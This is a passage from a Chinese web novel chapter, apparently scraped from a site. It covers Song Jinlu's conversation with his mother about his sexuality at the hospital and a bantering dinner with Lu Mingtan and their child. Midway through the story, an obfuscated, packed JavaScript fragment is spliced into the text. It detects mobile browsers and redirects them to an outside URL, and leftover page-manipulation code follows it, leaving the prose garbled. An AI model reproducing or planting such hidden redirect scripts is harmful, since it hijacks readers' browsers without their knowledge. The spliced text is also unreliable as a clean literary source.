两天主动提起,各种打探,能看出来是真很在意孩子了。 原本宋锦路还担心是自己想太美,但此刻觉得自己没猜错。 “……他来医院太闹腾,而且爸今天要动手术,带他来只会增加负担。” 岑雪云顿了顿:“哪有什么负担的,你爸也不是大手术,何况那么小的孩子,总交给别人带怎么放心?” 这番话就更明显了。 “放心,是很靠谱的……朋友。” 比昨天好些,没那么烫嘴了。 “天天给你带孩子,这人不用上班吗?” “……” 宋锦路后知后觉反应过来,或许岑雪云真正想问的,是自己跟这个人的关系。 ——那他怎么都不能如实回答。 宋锦路当场编了个莫须有的角色出来:“……人家就在家带孩子,顺便帮我带两天而已。” 岑雪云一听,便以为宋锦路的朋友是对夫妻了,面部似乎松了松,“哦”了一声,然后说:“……原来是这样啊,我还以为是专门帮你带孩子呢。” “怎么可能专门帮我带。”宋锦路道,“关系再好也不可能特意来给我带孩子啊。” “是你什么时候认识的朋友?” 虽然已是适婚年龄,但宋锦路到底还算年轻,同龄人里成家的都不多,已经有孩子的就更少了。 “搬出去后认识的,住一个小区里。” 宋锦路不敢说太多,主要怕自己记不住随口说的设定,下次再被问时露出破绽。 岑雪云静了片刻:“……怎么样,自己在外面生活,还好吗?” “……” 宋锦路心尖轻颤了颤,自从搬出去后,还是第一次这么平静融洽地跟妈妈说这些。 “……还行,现在挺好的。” “一个人照顾孩子很辛苦吧?”岑雪云问,“自己亲手带过孩子,你就理解当父母的心情了。” “……” 其实没带孩子之前,宋锦路也能理解。 虽然他也在心里怨恨责怪过父母,为什么思想老旧,为什么不能接受,可人总是有缺点的,他不能因为父母的这点固执就全盘否认他们对自己从小的疼爱付出。 而岑雪云真正想问的,也还是后面这句:“……所以,即便这些年不让你回家,要跟你断绝关系,你也……不能改了,是吗?” 宋锦路抿了抿嘴唇,面对这个问题,他没有逃避,低沉应下:“……嗯,不能改了。” “……” 大概没想到宋锦路会这么直接,又如此坚定,连表面假装哄骗都不肯,岑雪云一时沉默。 “……因为我一直觉得自己这样没什么不好。” 又担心刺激到岑雪云,宋锦路玩笑缓解气氛:“不然就当我是离异带娃的单亲爸爸吧,这样心里是不是会舒服点?” 岑雪云没笑。 前面那些话没刺激到她,后面那句直接让她皱起眉头,眼神都凶狠了。 “臭小子,胡说八道什么,开这种烂舌根的玩笑!” 可反应已经比宋锦路想象中好很多了,勉强也能算平静,至少没再像以前那样激烈,也没再喋喋不休地追问,到最后只是重重叹了声气,便不再提了。 …… 宋经康的手术进行很顺利,宋锦路也在医院陪了整天,直到晚上天黑才离开。 本来他自告奋勇要留在医院陪护,但宋经康说自己能走能动问题不大,还用不着他陪护,岑雪云也嫌他留着只会碍事,这才作罢。 回去路上,宋锦路挺开心。 虽然过去三年跟父母的关系降至冰点,可今天再度提及禁忌话题,岑雪云的态度明显缓和不少。 而岑雪云的态度其实就代表着宋经康的态度。 这说明在时间稀释下,父母开始慢慢接受他性取向了。 回到陆明檀家,小鹦鹉宝宝正在看动画片,陆明檀则在一旁处理工作,一大一小都在客厅。 “爸爸!” 一天不见,甚是思念。 小鹦鹉宝宝立刻朝着宋锦路飞奔而去,必须先给一个爱的抱抱。 而宋锦路一天没感受小家伙捣蛋的破坏力,此刻见到,心里也是满满的喜爱,伸手便将小家伙抱到怀里。 陆明檀没起身,只看向宋锦路:“给你留饭了,在电饭锅里保温,今晚做了糯米排骨焖饭,味道挺好的。” “……噢,谢了。” 嘴上似乎不太在意地道谢,心里却还是忍不住感慨,这日子太爽了。 早上出门有人做早餐,晚上回家有人留晚餐,白天还不用自己带小孩,此刻享受到的也是小孩的亲昵黏人。 日子怎么能这么爽? 哎。 除了同住人是陆明檀,这日子简直堪称完美。 宋锦路过去厨房,一打开电饭锅,油润咸香便扑了满脸。 其实宋锦路已经在医院陪父母吃过晚饭,虽然吃得不多,称不上饱,但也绝对不饿。 可嗅到排骨焖饭的香气,瞬间觉得自己能再来一大碗。 用饭勺拌了拌,每颗饱满糯米都浸透了油脂,粒粒分明,仔细一看,竟还拌着油润的咸蛋黄沙。 这是什么神仙吃法? 陆明檀的吃商未免也太高了吧? “尝尝看,我觉得很不错。” “!” 就是陆明檀吓人,宋锦路只看到他坐在客厅一动不动,没想到他悄无声息就出现在自己身旁,声音仿佛贴着耳朵传来,吓得他胸膛狠狠一跳。 “……你是鬼吗!你走路怎么没有声音啊!”宋锦路扭头,“……我真要好好说说你了,你已经是第二次这么吓我了!” 小鹦鹉宝宝个子不够,努力踮起脚尖也够不到放电饭锅的台面,挤在两位爸爸面前,着急地呼唤:“香香饭饭,香香饭饭!” 陆明檀也看向宋锦路,四目相对,他说:“我走路有声音。” “香香饭饭!” 宋锦路回看着,这次他再也不会先避开视线了,绝不退让。 可陆明檀继续说:“你没发现,大概是因为你不在乎我。” “饭饭香香!” 宋锦路:。。。 宋锦路:??? ……不是?? 幻听都幻不出这么诡异的话吧?这话的前后逻辑在哪? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256375|197598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆明檀精神状态可安好?他清楚自己在说什么吗? 最歹毒的是,陆明檀讲完这么莫名其妙的话后,宋锦路还找不到话接了。 “我——” “饭饭香香!” “……” 幸亏小家伙在一边蹦跶充当背影音乐,否则气氛该怪尴尬的。 “行吧。”宋锦路无法辩解,干脆加入,“你说对了,我就是不在乎你。” “……” 终于是陆明檀先避开了视线。 宋锦路说完这句,陆明檀一下转移目光,落到小鹦鹉宝宝身上。 “善善晚上已经吃很多了。”陆明檀说,“这是爸爸的晚餐,你不能吃了。” 小鹦鹉宝宝听懂了。 小鹦鹉宝宝不高兴。 “哼!饭饭!” 可小鹦鹉宝宝生胖气的样子实在有点可爱,宋锦路都忽略了陆明檀的话题转移,不受控地嘴角上扬,心底一团被治愈的柔软。 “没事,还剩这么多,我跟善善一起吃吧,刚才我在医院也吃过几口了,现在没那么饿。” 电饭锅里剩的不少,宋锦路盛出两碗都能再剩一些。 不过真吃起来才知道,一碗完全不够吃,宋锦路感觉自己就能吃一锅。 糯米油香,咸度恰好,每口都能吃到咸蛋黄,排骨肉更是嫩得出奇,带了一些肥肉却丝毫不腻,入口即化。 陆明檀还在里面放了蘑菇丁跟胡萝卜丁,增加口感的同时解腻,一口接一口,根本停不下来。 心中再次忍不住感慨,这种日子实在舒服,如果同住对象不是陆明檀堪称满分。 “宋老师还好吗?” 但缺点就是正吃着人家做的饭,宋锦路不好无视人家的提问,被迫进行交流。 “……嗯,动了个小手术,过两天就能出院了。”宋锦路想了想,“明天我带善善吧,我可以带他去医院。” “方便吗?” “……应该方便吧,我爸妈也挺想见他的。” 陆明檀沉默了几秒:“他们不好奇善善的来历吗?” “好奇啊,怎么不好奇,但都见到了,善善跟我长得还这么像,他们当然——” 毕竟是在跟陆明檀交流,一边说着,一边很自然地抬头看了几眼,结果仔细一盯,才发现小家伙不仅跟自己像,其实跟陆明檀也挺像。 臭小鸡还挺会长? 到底是谁给他捏的脸? “当然什么?” 宋锦路忙道:“也没什么,他们想见就见见呗……” “那以后呢?” 宋锦路明白他是什么意思:“我知道,不过我父母已经见过他,想藏也藏不住的……所以优先处理眼前的情况吧,以后的事以后再说。” “嗯,也是。”陆明檀应下,“那明天你能早点回来吗?” “……啊?” “我想带善善去买些东西,像衣服鞋子,还有其他的儿童用品。” 宋锦路下意识道:“可实体店很贵啊,要不你先在网上看看?” “没事,我就想给他买贵的。” “……” 钱多的没地花了? “毕竟我们只有他这么一个孩子。” 宋锦路:…… 宋锦路:………… 知道陆明檀擅长语出惊人,但突然来这么一句真是让人防不胜防。 好在初中就是这样相处,再经过两天的适应,宋锦路已经逐渐习惯,身体能够自动忽视屏蔽了。 没办法,陆明檀就是这样的性格。 每句话都要计较深究的话,他们光在这里扯嘴皮子就能忙死,其他什么事都别想做了。